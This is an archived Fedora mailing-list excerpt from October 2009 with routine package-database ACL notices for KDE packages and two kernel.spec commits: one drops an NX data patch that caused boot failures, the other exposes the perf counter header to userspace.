rdieter has set the commit acl on kdepim-runtime (Fedora 11) to Approved for mathstuf

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Sun Oct 11 00:39:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 00:39:18 +0000
Subject: [pkgdb] kdepim-runtime: tuxbrewr has requested watchbugzilla
Message-ID: <20091011003918.67A5610F880@bastion2.fedora.phx.redhat.com>

tuxbrewr has requested the watchbugzilla acl on kdepim-runtime (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Sun Oct 11 00:39:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 00:39:22 +0000
Subject: [pkgdb] kdepim-runtime: tuxbrewr has requested watchcommits
Message-ID: <20091011003923.48FFE10F894@bastion2.fedora.phx.redhat.com>

tuxbrewr has requested the watchcommits acl on kdepim-runtime (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Sun Oct 11 00:39:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 00:39:27 +0000
Subject: [pkgdb] kdepim-runtime: tuxbrewr has requested commit
Message-ID: <20091011003927.BA4DD10F88F@bastion2.fedora.phx.redhat.com>

tuxbrewr has requested the commit acl on kdepim-runtime (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Sun Oct 11 00:39:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 00:39:36 +0000
Subject: [pkgdb] kdepim-runtime: tuxbrewr has requested watchcommits
Message-ID: <20091011003936.D40CF10F880@bastion2.fedora.phx.redhat.com>

tuxbrewr has requested the watchcommits acl on kdepim-runtime (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Sun Oct 11 00:39:48 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 00:39:48 +0000
Subject: [pkgdb] kdepim-runtime: tuxbrewr has requested commit
Message-ID: <20091011003948.4E4D910F8A3@bastion2.fedora.phx.redhat.com>

tuxbrewr has requested the commit acl on kdepim-runtime (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Sun Oct 11 00:39:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 00:39:51 +0000
Subject: [pkgdb] kdepim-runtime: tuxbrewr has requested watchbugzilla
Message-ID: <20091011003951.2DFFB10F8A9@bastion2.fedora.phx.redhat.com>

tuxbrewr has requested the watchbugzilla acl on kdepim-runtime (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Sun Oct 11 00:39:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 00:39:59 +0000
Subject: [pkgdb] kdepim-runtime: tuxbrewr has requested watchbugzilla
Message-ID: <20091011003959.A76CE10F88F@bastion2.fedora.phx.redhat.com>

tuxbrewr has requested the watchbugzilla acl on kdepim-runtime (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Sun Oct 11 00:39:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 00:39:59 +0000
Subject: [pkgdb] kdepim-runtime: tuxbrewr has requested watchcommits
Message-ID: <20091011003959.C57B410F8A3@bastion2.fedora.phx.redhat.com>

tuxbrewr has requested the watchcommits acl on kdepim-runtime (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Sun Oct 11 00:40:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 00:40:05 +0000
Subject: [pkgdb] kdepim-runtime: tuxbrewr has requested commit
Message-ID: <20091011004005.65E2810F880@bastion2.fedora.phx.redhat.com>

tuxbrewr has requested the commit acl on kdepim-runtime (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Sun Oct 11 00:40:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 00:40:09 +0000
Subject: [pkgdb] kdepim-runtime: tuxbrewr has requested watchbugzilla
Message-ID: <20091011004009.E42B510F8A1@bastion2.fedora.phx.redhat.com>

tuxbrewr has requested the watchbugzilla acl on kdepim-runtime (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Sun Oct 11 00:40:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 00:40:14 +0000
Subject: [pkgdb] kdepim-runtime: tuxbrewr has requested watchcommits
Message-ID: <20091011004014.8976610F895@bastion2.fedora.phx.redhat.com>

tuxbrewr has requested the watchcommits acl on kdepim-runtime (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Sun Oct 11 00:40:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 00:40:14 +0000
Subject: [pkgdb] kdepim-runtime: tuxbrewr has requested commit
Message-ID: <20091011004014.88E8210F894@bastion2.fedora.phx.redhat.com>

tuxbrewr has requested the commit acl on kdepim-runtime (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Sun Oct 11 01:04:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 01:04:04 +0000
Subject: [pkgdb] kdepim-runtime had acl change status
Message-ID: <20091011010405.289B010F84D@bastion2.fedora.phx.redhat.com>

rdieter has set the watchbugzilla acl on kdepim-runtime (Fedora devel) to Approved for tuxbrewr

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Sun Oct 11 01:04:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 01:04:05 +0000
Subject: [pkgdb] kdepim-runtime had acl change status
Message-ID: <20091011010405.3ED4610F8A4@bastion2.fedora.phx.redhat.com>

rdieter has set the commit acl on kdepim-runtime (Fedora devel) to Approved for tuxbrewr

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Sun Oct 11 01:04:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 01:04:05 +0000
Subject: [pkgdb] kdepim-runtime had acl change status
Message-ID: <20091011010405.7E6C110F8AC@bastion2.fedora.phx.redhat.com>

rdieter has set the watchcommits acl on kdepim-runtime (Fedora devel) to Approved for tuxbrewr

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Sun Oct 11 01:04:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 01:04:09 +0000
Subject: [pkgdb] kdepim-runtime had acl change status
Message-ID: <20091011010409.4B9BB10F84D@bastion2.fedora.phx.redhat.com>

rdieter has set the watchbugzilla acl on kdepim-runtime (Fedora 10) to Approved for tuxbrewr

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Sun Oct 11 01:04:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 01:04:09 +0000
Subject: [pkgdb] kdepim-runtime had acl change status
Message-ID: <20091011010409.6A0E410F8B5@bastion2.fedora.phx.redhat.com>

rdieter has set the watchcommits acl on kdepim-runtime (Fedora 10) to Approved for tuxbrewr

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Sun Oct 11 01:04:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 01:04:10 +0000
Subject: [pkgdb] kdepim-runtime had acl change status
Message-ID: <20091011010410.A28E010F8B9@bastion2.fedora.phx.redhat.com>

rdieter has set the commit acl on kdepim-runtime (Fedora 10) to Approved for tuxbrewr

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Sun Oct 11 01:04:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 01:04:15 +0000
Subject: [pkgdb] kdepim-runtime had acl change status
Message-ID: <20091011010415.52D9510F88F@bastion2.fedora.phx.redhat.com>

rdieter has set the watchbugzilla acl on kdepim-runtime (Fedora 11) to Approved for tuxbrewr

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Sun Oct 11 01:04:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 01:04:16 +0000
Subject: [pkgdb] kdepim-runtime had acl change status
Message-ID: <20091011010416.6A72110F8A3@bastion2.fedora.phx.redhat.com>

rdieter has set the watchcommits acl on kdepim-runtime (Fedora 11) to Approved for tuxbrewr

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Sun Oct 11 01:04:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 01:04:16 +0000
Subject: [pkgdb] kdepim-runtime had acl change status
Message-ID: <20091011010416.A963510F8AB@bastion2.fedora.phx.redhat.com>

rdieter has set the commit acl on kdepim-runtime (Fedora 11) to Approved for tuxbrewr

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Sun Oct 11 01:04:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 01:04:20 +0000
Subject: [pkgdb] kdepim-runtime had acl change status
Message-ID: <20091011010421.0FCC210F8AC@bastion2.fedora.phx.redhat.com>

rdieter has set the watchcommits acl on kdepim-runtime (Fedora 12) to Approved for tuxbrewr

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Sun Oct 11 01:04:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 01:04:22 +0000
Subject: [pkgdb] kdepim-runtime had acl change status
Message-ID: <20091011010422.5217A10F8B1@bastion2.fedora.phx.redhat.com>

rdieter has set the commit acl on kdepim-runtime (Fedora 12) to Approved for tuxbrewr

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Sun Oct 11 01:04:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 01:04:22 +0000
Subject: [pkgdb] kdepim-runtime had acl change status
Message-ID: <20091011010422.81B6310F8C1@bastion2.fedora.phx.redhat.com>

rdieter has set the watchbugzilla acl on kdepim-runtime (Fedora 12) to Approved for tuxbrewr

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From davej at fedoraproject.org  Sun Oct 11 01:35:14 2009
From: davej at fedoraproject.org (Dave Jones)
Date: Sun, 11 Oct 2009 01:35:14 +0000 (UTC)
Subject: rpms/kernel/F-12 kernel.spec, 1.1855,
	1.1856 linux-2.6.31-modules-ro-nx.patch, 1.1,
	NONE linux-2.6.31-nx-data.patch, 1.1, NONE
Message-ID: <20091011013514.2B28211C00DB@cvs1.fedora.phx.redhat.com>

Author: davej

Update of /cvs/pkgs/rpms/kernel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10118

Modified Files:
	kernel.spec 
Removed Files:
	linux-2.6.31-modules-ro-nx.patch linux-2.6.31-nx-data.patch 
Log Message:
Drop the NX kernel data patch for now. Causes no-boot on some systems.


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/kernel.spec,v
retrieving revision 1.1855
retrieving revision 1.1856
diff -u -p -r1.1855 -r1.1856
--- kernel.spec	10 Oct 2009 01:11:47 -0000	1.1855
+++ kernel.spec	11 Oct 2009 01:35:11 -0000	1.1856
@@ -667,9 +667,6 @@ Patch671: linux-2.6-ahci-export-capabili
 
 Patch687: linux-2.6-iwlwifi-reduce-noise-when-skb-allocation-fails.patch
 
-Patch700: linux-2.6.31-nx-data.patch
-Patch701: linux-2.6.31-modules-ro-nx.patch
-
 Patch800: linux-2.6-crash-driver.patch
 
 Patch900: linux-2.6-pci-cacheline-sizing.patch
@@ -1309,12 +1306,6 @@ ApplyPatch linux-2.6-ahci-export-capabil
 # iwlagn quiet
 ApplyPatch linux-2.6-iwlwifi-reduce-noise-when-skb-allocation-fails.patch
 
-# Mark kernel data as NX
-ApplyPatch linux-2.6.31-nx-data.patch
-# Apply NX/RO to modules
-# breaks ftrace NOP replacement
-#ApplyPatch linux-2.6.31-modules-ro-nx.patch
-
 # /dev/crash driver.
 ApplyPatch linux-2.6-crash-driver.patch
 
@@ -2048,6 +2039,9 @@ fi
 # and build.
 
 %changelog
+* Sat Oct 10 2009 Dave Jones <davej at redhat.com>
+- Drop the NX kernel data patch for now. Causes no-boot on some systems.
+
 * Fri Oct 09 2009 Dave Jones <davej at redhat.com>
 - Backport two critical ftrace fixes.
   ftrace: check for failure for all conversions


--- linux-2.6.31-modules-ro-nx.patch DELETED ---


--- linux-2.6.31-nx-data.patch DELETED ---



From cebbert at fedoraproject.org  Sun Oct 11 02:23:14 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Sun, 11 Oct 2009 02:23:14 +0000 (UTC)
Subject: rpms/kernel/F-12
	perf-make-perf-counter-h-available-to-userspace.patch, NONE,
	1.1 kernel.spec, 1.1856, 1.1857
Message-ID: <20091011022314.944F911C00DB@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23244

Modified Files:
	kernel.spec 
Added Files:
	perf-make-perf-counter-h-available-to-userspace.patch 
Log Message:
Make performance counter API available to userspace programs (#527264)

perf-make-perf-counter-h-available-to-userspace.patch:
 Kbuild |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE perf-make-perf-counter-h-available-to-userspace.patch ---
Make performance counter ABI definitions available to userspace.

For 2.6.31 only. The userspace parts are in perf_event.h in 2.6.32.

--- linux-2.6.31.noarch.orig/include/linux/Kbuild
+++ linux-2.6.31.noarch/include/linux/Kbuild
@@ -126,6 +126,7 @@ header-y += nfs_mount.h
 header-y += nl80211.h
 header-y += param.h
 header-y += pci_regs.h
+header-y += perf_counter.h
 header-y += pfkeyv2.h
 header-y += pg.h
 header-y += phantom.h


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/kernel.spec,v
retrieving revision 1.1856
retrieving revision 1.1857
diff -u -p -r1.1856 -r1.1857
--- kernel.spec	11 Oct 2009 01:35:11 -0000	1.1856
+++ kernel.spec	11 Oct 2009 02:23:13 -0000	1.1857
@@ -742,6 +742,9 @@ Patch13000: linux-2.6-frace-fixes.patch
 # Raid10 lockdep fix
 Patch14002: linux-2.6-raidlockdep.patch
 
+# make perf counter API available to userspace (#527264)
+Patch14010: perf-make-perf-counter-h-available-to-userspace.patch
+
 %endif
 
 BuildRoot: %{_tmppath}/kernel-%{KVERREL}-root
@@ -1383,6 +1386,9 @@ ApplyPatch linux-2.6-frace-fixes.patch
 # Raid10 lockdep fix
 ApplyPatch linux-2.6-raidlockdep.patch
 
+# make perf counter API available to userspace (#527264)
+ApplyPatch perf-make-perf-counter-h-available-to-userspace.patch
+
 # END OF PATCH APPLICATIONS
 
 %endif
@@ -2039,6 +2045,9 @@ fi
 # and build.
 
 %changelog
+* Sat Oct 10 2009 Chuck Ebbert <cebbert at redhat.com>
+- Make performance counter API available to userspace programs (#527264)
+
 * Sat Oct 10 2009 Dave Jones <davej at redhat.com>
 - Drop the NX kernel data patch for now. Causes no-boot on some systems.
 



From pkgdb at fedoraproject.org  Sun Oct 11 03:03:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 03:03:09 +0000
Subject: [pkgdb] kdeadmin (Fedora, 10) updated by kevin
Message-ID: <20091011030310.085F810F880@bastion2.fedora.phx.redhat.com>

kevin approved watchbugzilla on kdeadmin (Fedora 10) for rdieter
kevin approved watchcommits on kdeadmin (Fedora 10) for rdieter
kevin approved commit on kdeadmin (Fedora 10) for rdieter
kevin approved build on kdeadmin (Fedora 10) for rdieter
kevin approved approveacls on kdeadmin (Fedora 10) for rdieter

To make changes to this package see:
  /pkgdb/packages/name/kdeadmin



From pkgdb at fedoraproject.org  Sun Oct 11 03:03:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 03:03:12 +0000
Subject: [pkgdb] kdebindings (Fedora, 10) updated by kevin
Message-ID: <20091011030312.F355110F8A1@bastion2.fedora.phx.redhat.com>

kevin approved watchbugzilla on kdebindings (Fedora 10) for rdieter
kevin approved watchcommits on kdebindings (Fedora 10) for rdieter
kevin approved commit on kdebindings (Fedora 10) for rdieter
kevin approved build on kdebindings (Fedora 10) for rdieter
kevin approved approveacls on kdebindings (Fedora 10) for rdieter

To make changes to this package see:
  /pkgdb/packages/name/kdebindings



From pkgdb at fedoraproject.org  Sun Oct 11 03:03:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 03:03:14 +0000
Subject: [pkgdb] kdeedu (Fedora, 10) updated by kevin
Message-ID: <20091011030314.E0E2D10F8A4@bastion2.fedora.phx.redhat.com>

kevin approved watchbugzilla on kdeedu (Fedora 10) for rdieter
kevin approved watchcommits on kdeedu (Fedora 10) for rdieter
kevin approved commit on kdeedu (Fedora 10) for rdieter
kevin approved build on kdeedu (Fedora 10) for rdieter
kevin approved approveacls on kdeedu (Fedora 10) for rdieter

To make changes to this package see:
  /pkgdb/packages/name/kdeedu



From pkgdb at fedoraproject.org  Sun Oct 11 03:03:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 03:03:16 +0000
Subject: [pkgdb] kdegames (Fedora, 10) updated by kevin
Message-ID: <20091011030316.A204B10F8AC@bastion2.fedora.phx.redhat.com>

kevin approved watchbugzilla on kdegames (Fedora 10) for rdieter
kevin approved watchcommits on kdegames (Fedora 10) for rdieter
kevin approved commit on kdegames (Fedora 10) for rdieter
kevin approved build on kdegames (Fedora 10) for rdieter
kevin approved approveacls on kdegames (Fedora 10) for rdieter

To make changes to this package see:
  /pkgdb/packages/name/kdegames



From pkgdb at fedoraproject.org  Sun Oct 11 03:03:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 03:03:19 +0000
Subject: [pkgdb] kdegraphics (Fedora, 10) updated by kevin
Message-ID: <20091011030319.87FD710F88F@bastion2.fedora.phx.redhat.com>

kevin approved watchbugzilla on kdegraphics (Fedora 10) for rdieter
kevin approved watchcommits on kdegraphics (Fedora 10) for rdieter
kevin approved commit on kdegraphics (Fedora 10) for rdieter
kevin approved build on kdegraphics (Fedora 10) for rdieter
kevin approved approveacls on kdegraphics (Fedora 10) for rdieter

To make changes to this package see:
  /pkgdb/packages/name/kdegraphics



From pkgdb at fedoraproject.org  Sun Oct 11 03:03:21 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 03:03:21 +0000
Subject: [pkgdb] kdelibs (Fedora, 10) updated by kevin
Message-ID: <20091011030321.4CD3A10F8A3@bastion2.fedora.phx.redhat.com>

kevin approved watchbugzilla on kdelibs (Fedora 10) for rdieter
kevin approved watchcommits on kdelibs (Fedora 10) for rdieter
kevin approved commit on kdelibs (Fedora 10) for rdieter
kevin approved build on kdelibs (Fedora 10) for rdieter
kevin approved approveacls on kdelibs (Fedora 10) for rdieter

To make changes to this package see:
  /pkgdb/packages/name/kdelibs



From pkgdb at fedoraproject.org  Sun Oct 11 03:03:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 03:03:22 +0000
Subject: [pkgdb] kdemultimedia (Fedora, 10) updated by kevin
Message-ID: <20091011030322.B4C3C10F8AF@bastion2.fedora.phx.redhat.com>

kevin approved watchbugzilla on kdemultimedia (Fedora 10) for rdieter
kevin approved watchcommits on kdemultimedia (Fedora 10) for rdieter
kevin approved commit on kdemultimedia (Fedora 10) for rdieter
kevin approved build on kdemultimedia (Fedora 10) for rdieter
kevin approved approveacls on kdemultimedia (Fedora 10) for rdieter

To make changes to this package see:
  /pkgdb/packages/name/kdemultimedia



From pkgdb at fedoraproject.org  Sun Oct 11 03:03:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 03:03:24 +0000
Subject: [pkgdb] kdenetwork (Fedora, 10) updated by kevin
Message-ID: <20091011030324.C79AF10F8B4@bastion2.fedora.phx.redhat.com>

kevin approved watchbugzilla on kdenetwork (Fedora 10) for rdieter
kevin approved watchcommits on kdenetwork (Fedora 10) for rdieter
kevin approved commit on kdenetwork (Fedora 10) for rdieter
kevin approved build on kdenetwork (Fedora 10) for rdieter
kevin approved approveacls on kdenetwork (Fedora 10) for rdieter

To make changes to this package see:
  /pkgdb/packages/name/kdenetwork



From pkgdb at fedoraproject.org  Sun Oct 11 03:03:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 03:03:26 +0000
Subject: [pkgdb] kdepimlibs (Fedora, 10) updated by kevin
Message-ID: <20091011030326.83AD410F8B3@bastion2.fedora.phx.redhat.com>

kevin approved watchbugzilla on kdepimlibs (Fedora 10) for rdieter
kevin approved watchcommits on kdepimlibs (Fedora 10) for rdieter
kevin approved commit on kdepimlibs (Fedora 10) for rdieter
kevin approved build on kdepimlibs (Fedora 10) for rdieter
kevin approved approveacls on kdepimlibs (Fedora 10) for rdieter

To make changes to this package see:
  /pkgdb/packages/name/kdepimlibs



From pkgdb at fedoraproject.org  Sun Oct 11 03:03:28 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 03:03:28 +0000
Subject: [pkgdb] kdesdk (Fedora, 10) updated by kevin
Message-ID: <20091011030329.107FB10F894@bastion2.fedora.phx.redhat.com>

kevin approved watchbugzilla on kdesdk (Fedora 10) for rdieter
kevin approved watchcommits on kdesdk (Fedora 10) for rdieter
kevin approved commit on kdesdk (Fedora 10) for rdieter
kevin approved build on kdesdk (Fedora 10) for rdieter
kevin approved approveacls on kdesdk (Fedora 10) for rdieter

To make changes to this package see:
  /pkgdb/packages/name/kdesdk



From pkgdb at fedoraproject.org  Sun Oct 11 03:03:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 03:03:31 +0000
Subject: [pkgdb] kdeutils (Fedora, 10) updated by kevin
Message-ID: <20091011030331.2775D10F8B6@bastion2.fedora.phx.redhat.com>

kevin approved watchbugzilla on kdeutils (Fedora 10) for rdieter
kevin approved watchcommits on kdeutils (Fedora 10) for rdieter
kevin approved commit on kdeutils (Fedora 10) for rdieter
kevin approved build on kdeutils (Fedora 10) for rdieter
kevin approved approveacls on kdeutils (Fedora 10) for rdieter

To make changes to this package see:
  /pkgdb/packages/name/kdeutils



From pkgdb at fedoraproject.org  Sun Oct 11 03:03:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 03:03:42 +0000
Subject: [pkgdb] kdeartwork (Fedora, 10) updated by kevin
Message-ID: <20091011030342.B862110F894@bastion2.fedora.phx.redhat.com>

kevin approved watchbugzilla on kdeartwork (Fedora 10) for rdieter
kevin approved watchcommits on kdeartwork (Fedora 10) for rdieter
kevin approved commit on kdeartwork (Fedora 10) for rdieter
kevin approved build on kdeartwork (Fedora 10) for rdieter
kevin approved approveacls on kdeartwork (Fedora 10) for rdieter

To make changes to this package see:
  /pkgdb/packages/name/kdeartwork



From pkgdb at fedoraproject.org  Sun Oct 11 03:04:48 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 03:04:48 +0000
Subject: [pkgdb] kdeadmin had acl change status
Message-ID: <20091011030448.8AF8010F880@bastion2.fedora.phx.redhat.com>

rdieter has set the watchbugzilla acl on kdeadmin (Fedora 10) to Approved for mathstuf

To make changes to this package see:
  /pkgdb/packages/name/kdeadmin



From pkgdb at fedoraproject.org  Sun Oct 11 03:04:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 03:04:50 +0000
Subject: [pkgdb] kdeadmin had acl change status
Message-ID: <20091011030450.50C5910F8A1@bastion2.fedora.phx.redhat.com>

rdieter has set the watchcommits acl on kdeadmin (Fedora 10) to Approved for mathstuf

To make changes to this package see:
  /pkgdb/packages/name/kdeadmin



From pkgdb at fedoraproject.org  Sun Oct 11 03:04:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 03:04:50 +0000
Subject: [pkgdb] kdeadmin had acl change status
Message-ID: <20091011030450.B545110F8A9@bastion2.fedora.phx.redhat.com>

rdieter has set the commit acl on kdeadmin (Fedora 10) to Approved for mathstuf

To make changes to this package see:
  /pkgdb/packages/name/kdeadmin



From pkgdb at fedoraproject.org  Sun Oct 11 03:05:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 03:05:09 +0000
Subject: [pkgdb] kdeartwork had acl change status
Message-ID: <20091011030509.2366610F88F@bastion2.fedora.phx.redhat.com>

rdieter has set the watchbugzilla acl on kdeartwork (Fedora 10) to Approved for mathstuf

To make changes to this package see:
  /pkgdb/packages/name/kdeartwork



From pkgdb at fedoraproject.org  Sun Oct 11 03:05:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 03:05:09 +0000
Subject: [pkgdb] kdeartwork had acl change status
Message-ID: <20091011030509.462E910F8A3@bastion2.fedora.phx.redhat.com>

rdieter has set the watchcommits acl on kdeartwork (Fedora 10) to Approved for mathstuf

To make changes to this package see:
  /pkgdb/packages/name/kdeartwork



From pkgdb at fedoraproject.org  Sun Oct 11 03:05:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 03:05:10 +0000
Subject: [pkgdb] kdeartwork had acl change status
Message-ID: <20091011030511.3D79A10F8AB@bastion2.fedora.phx.redhat.com>

rdieter has set the commit acl on kdeartwork (Fedora 10) to Approved for mathstuf

To make changes to this package see:
  /pkgdb/packages/name/kdeartwork



From pkgdb at fedoraproject.org  Sun Oct 11 03:05:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 03:05:25 +0000
Subject: [pkgdb] kdebindings had acl change status
Message-ID: <20091011030525.E31D210F88F@bastion2.fedora.phx.redhat.com>

rdieter has set the commit acl on kdebindings (Fedora 10) to Approved for mathstuf

To make changes to this package see:
  /pkgdb/packages/name/kdebindings



From pkgdb at fedoraproject.org  Sun Oct 11 03:05:28 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 03:05:28 +0000
Subject: [pkgdb] kdebindings had acl change status
Message-ID: <20091011030528.4AAEA10F8A4@bastion2.fedora.phx.redhat.com>

rdieter has set the watchcommits acl on kdebindings (Fedora 10) to Approved for mathstuf

To make changes to this package see:
  /pkgdb/packages/name/kdebindings



From pkgdb at fedoraproject.org  Sun Oct 11 03:05:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 03:05:30 +0000
Subject: [pkgdb] kdebindings had acl change status
Message-ID: <20091011030530.B282010F8AB@bastion2.fedora.phx.redhat.com>

rdieter has set the watchbugzilla acl on kdebindings (Fedora 10) to Approved for mathstuf

To make changes to this package see:
  /pkgdb/packages/name/kdebindings



From pkgdb at fedoraproject.org  Sun Oct 11 03:05:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 03:05:58 +0000
Subject: [pkgdb] kdeedu had acl change status
Message-ID: <20091011030558.2AAA210F894@bastion2.fedora.phx.redhat.com>

rdieter has set the commit acl on kdeedu (Fedora 10) to Approved for mathstuf

To make changes to this package see:
  /pkgdb/packages/name/kdeedu



From pkgdb at fedoraproject.org  Sun Oct 11 03:05:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 03:05:59 +0000
Subject: [pkgdb] kdeedu had acl change status
Message-ID: <20091011030559.6AA8710F844@bastion2.fedora.phx.redhat.com>

rdieter has set the watchcommits acl on kdeedu (Fedora 10) to Approved for mathstuf

To make changes to this package see:
  /pkgdb/packages/name/kdeedu



From pkgdb at fedoraproject.org  Sun Oct 11 03:06:01 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 03:06:01 +0000
Subject: [pkgdb] kdeedu had acl change status
Message-ID: <20091011030601.6CD6110F8A4@bastion2.fedora.phx.redhat.com>

rdieter has set the watchbugzilla acl on kdeedu (Fedora 10) to Approved for mathstuf

To make changes to this package see:
  /pkgdb/packages/name/kdeedu



From pkgdb at fedoraproject.org  Sun Oct 11 03:06:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 03:06:15 +0000
Subject: [pkgdb] kdegames had acl change status
Message-ID: <20091011030615.F0F4710F88F@bastion2.fedora.phx.redhat.com>

